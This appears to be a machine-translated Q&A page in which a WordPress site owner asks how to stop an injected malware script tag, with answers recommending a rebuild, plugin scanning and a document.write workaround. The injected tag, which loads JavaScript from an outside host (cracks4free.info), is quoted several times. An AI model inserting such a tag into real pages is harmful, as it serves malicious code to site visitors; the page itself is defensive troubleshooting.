防止恶意软件javascript执行

时间:2013-07-31 23:44:57

标签: javascript ajax wordpress jquery

我正在使用wordpress网站,我发现了一个恶意软件脚本,每当我尝试保存页面并点击WYSIWYG中的文本面板时,恶意软件javascript标记会自动添加到页面中。这是自动添加的脚本。

<script type="text/javascript" src="http://cracks4free.info/5/adds.js" async=""></script>

我试图通过以下代码删除src文件。但它没有用,脚本在关闭body标签之前执行。我尝试使用此脚本,但恶意软件脚本在加载所有javascript后加载。这是我的代码。

<script type="text/javascript">
$("script[src='http://cracks4free.info/5/adds.js']").remove()
</script> 

我需要删除此代码,或阻止此代码通过javasript,jquery,ajax执行任何东西..只是想摆脱这个。感谢

3 个答案:

答案 0 :(得分:5)

如果您的服务器遭到入侵,则需要重建它:

  1. 导出现有内容
  2. 使用最新的wordpress版本
  3. 重建该框
  4. 导入您的内容
  5. 定期应用安全更新
  6. 尝试使用javascript清理内容不是解决方案。你有一个受到妥协的Wordpress安装,其他一些脚本小伙子添加他们自己的个人接触,或者更糟糕的事情发生时,这是一个时间问题。

答案 1 :(得分:1)

似乎你的一个Wordpress插件可以XSS(跨站点脚本),我建议你扫描网页上的这个插件的漏洞。 您可以自己扫描插件的源代码,以便盲目地将用户发送回javascript而无需正确转发。

你应该遵循Hamish的建议,我的建议只是包含在这里,这样你就不会重新安装有问题的插件。

答案 2 :(得分:-4)

您可以在恶意软件脚本通过JavaScript执行之前注入新脚本标记的开头:

document.write("<script type='application/x-suppress'>");

基本上你在这里开始一个新的<script>块但没有完成它,假设接下来发生的事情就是恶意软件在最后插入它的块

<script type="text/javascript" src="http://cracks4free.info/5/adds.js" async=""></script>

最终结果将最终成为

<script type='application/x-suppress'><script type="text/javascript" src="http://cracks4free.info/5/adds.js" async=""></script>

将会发生什么情况,浏览器会看到第一个<script>标记,并希望其中的所有内容都是JavaScript代码。当它试图解析脚本(<script type="text/javascript" src="http://cracks4free.info/5/adds.js" async="">)时,它将导致JavaScript解析错误而不做任何事情。最后,您的<script>数据块会被恶意软件提供的</script>关闭。

真正的问题是,为什么你有这种恶意软件,你怎么能摆脱它?而不是试图解决它。